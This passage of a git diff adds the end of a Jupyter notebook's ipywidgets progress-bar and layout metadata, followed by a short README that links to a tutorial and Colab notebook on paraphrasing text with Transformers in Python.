+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_617f006de72348e19c544a49631da5b6",
+            "max": 190,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_4203ae124de64bbf82b42c1cd17044cd",
+            "value": 190
+          }
+        },
+        "edc8d64f14dd4363936aa6dc69306621": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "edf26b3e8092401d87cb31fdd56eca56": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_709ac2c430454dad92c650b5acc688a9",
+            "placeholder": "",
+            "style": "IPY_MODEL_4a0a2b21a2984d738e880f567a017261",
+            "value": " 53.0/53.0 [00:00<00:00, 1.40kB/s]"
+          }
+        },
+        "ee3536dd987045699fe4a60893461e9f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ee70bf84aa4c4dc2bdca9f43ca037202": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "eed2ff4994904a8593805423ad883758": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "ef545b9f69a545b4a76006a5f91a69e8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "efedbdfaa46b40e28f744d8ea8892fc6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f05ba606de8a41cd9a62ae3fba0b9982": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f1134fd6a3e04d8b84ceb76c0d3c1faa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f247203f38eb4ebd9c0de208ac50791f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f2cc42d8fa9f44ff8dcf7c909a162c3d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f3487f34f7c146f1b3553481f2a34fa5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_00ba17e28d8947059dfe5b944b11006a",
+            "max": 1912529,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_93346ba6351145f0a7bf161647c8a08f",
+            "value": 1912529
+          }
+        },
+        "f4218286d73b445f999fcb28d8718be1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f443f63ec7d049c895e463bc5f98c191": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f44806865e174c1aa9afe39c235440dd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f4bb72710c6e41baa74a13ee392096a5": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f5999a5609324760a880f30dc11f0616": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "f60e53f078f14b38802232b54cb9a37d": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f61de8d92b4e4d4cb369c969795589ef": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_56ea107f274f4113b8bf57bec9f52495",
+              "IPY_MODEL_47241502eb7e42f3aecffade97501a43",
+              "IPY_MODEL_a12ac053391d4300a6eacfd70e07fa09"
+            ],
+            "layout": "IPY_MODEL_a6e827f8673442af89429049b1e72075"
+          }
+        },
+        "f6a7db060b7445d7996af7903368325d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_a4d5aef0d776412a8be4c76ae7417146",
+              "IPY_MODEL_c3042320c0534701941f46d204f1693b",
+              "IPY_MODEL_1ff35a472e4a4d5fbb7cadc70dcfdded"
+            ],
+            "layout": "IPY_MODEL_8f39ab0076074ed9aedecf74e23cd0e9"
+          }
+        },
+        "f7297bd1efd24a2096b5f4017b220643": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f7349e723bca4e699d39f1d8702f0be1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f7987a6948cf4ad0819371cad4c6bb1d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f7f29d1c21ee4b12bf5de7de1a7a8dff": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "f8a49feb20174213b9b3745344e18203": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "f96aeeb5ad754b4daa55e1936d213dc9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "fb8198f88f6a43dbb5d39ec5f353b1af": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_486d6ccb92c84634880426d661b6753c",
+            "max": 86,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_03c01714ba8e4993a24e5e55ec26fd9c",
+            "value": 86
+          }
+        },
+        "fc8c9c80f0e542f8bbf3e505cc6495aa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "fce256df4e284320a14e55052d7cdf6e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "fd78fe87023540e3937bf0229a7c9455": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_34192abf8773479e903f93ead660ed5f",
+              "IPY_MODEL_dce0babcd94942739a3b5baa056729f3",
+              "IPY_MODEL_1888204862754106b13df2b562b08d8a"
+            ],
+            "layout": "IPY_MODEL_0d63a3b0ce6c4921b06c7a9010e959d3"
+          }
+        },
+        "fd887280c6a046e983e376f008258c3b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        }
+      }
+    }
+  },
+  "nbformat": 4,
+  "nbformat_minor": 0
+}
diff --git a/machine-learning/nlp/text-paraphrasing/README.md b/machine-learning/nlp/text-paraphrasing/README.md
new file mode 100644
index 00000000..5f46cbd1
--- /dev/null
+++ b/machine-learning/nlp/text-paraphrasing/README.md
@@ -0,0 +1,2 @@
+# [How to Paraphrase Text using Transformers in Python](https://www.thepythoncode.com/article/paraphrase-text-using-transformers-in-python)
+You can check the Colab notebook [here](https://colab.research.google.com/drive/1bPfvSF7bJqDfw9ZMgfIZPd1Bk-fW7AJY?usp=sharing)
